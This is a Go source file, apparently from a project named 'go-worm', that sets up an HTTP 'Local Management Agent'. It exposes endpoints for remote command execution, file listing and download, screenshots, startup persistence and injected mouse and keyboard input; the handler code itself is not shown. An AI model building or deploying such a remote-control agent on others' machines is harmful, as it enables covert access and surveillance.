102 lines
2.6 KiB
Go
102 lines
2.6 KiB
Go
package agent
|
|
|
|
import (
|
|
"context"
|
|
"errors"
|
|
"fmt"
|
|
"net"
|
|
"net/http"
|
|
"os"
|
|
"os/signal"
|
|
"strings"
|
|
"time"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
|
)
|
|
|
|
type Agent struct {
|
|
addr string
|
|
root string
|
|
guard *instance.Guard
|
|
server *http.Server
|
|
startedAt time.Time
|
|
}
|
|
|
|
func New() (*Agent, error) {
|
|
a := &Agent{
|
|
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
|
|
startedAt: time.Now(),
|
|
}
|
|
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
|
resolved, err := files.CanonicalExistingPath(root)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
|
|
}
|
|
a.root = resolved
|
|
}
|
|
guard, err := instance.Acquire()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
a.guard = guard
|
|
input.EnableDPIAwareness()
|
|
return a, nil
|
|
}
|
|
|
|
func (a *Agent) Close() {
|
|
if a.guard != nil {
|
|
a.guard.Close()
|
|
}
|
|
}
|
|
|
|
func (a *Agent) Serve() error {
|
|
mux := http.NewServeMux()
|
|
mux.HandleFunc("/", a.handleWeb)
|
|
mux.HandleFunc("/health", a.handleHealth)
|
|
mux.HandleFunc("/healthz", a.handleHealth)
|
|
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
|
|
mux.HandleFunc("/api/v1/status", a.handleStatus)
|
|
mux.HandleFunc("/api/v1/files", a.handleFiles)
|
|
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
|
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
|
|
|
a.server = &http.Server{
|
|
Addr: a.addr,
|
|
Handler: helpers.RecoverHandler(mux),
|
|
ReadHeaderTimeout: 10 * time.Second,
|
|
ReadTimeout: 30 * time.Second,
|
|
WriteTimeout: 150 * time.Second,
|
|
IdleTimeout: 60 * time.Second,
|
|
MaxHeaderBytes: 16 << 10,
|
|
}
|
|
|
|
listener, err := net.Listen("tcp", a.addr)
|
|
if err != nil {
|
|
return fmt.Errorf("listen %s: %w", a.addr, err)
|
|
}
|
|
|
|
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
|
|
|
|
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
|
defer stop()
|
|
go func() {
|
|
<-ctx.Done()
|
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
|
defer cancel()
|
|
_ = a.server.Shutdown(shutdownCtx)
|
|
}()
|
|
|
|
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
|
return fmt.Errorf("serve: %w", err)
|
|
}
|
|
return nil
|
|
}
|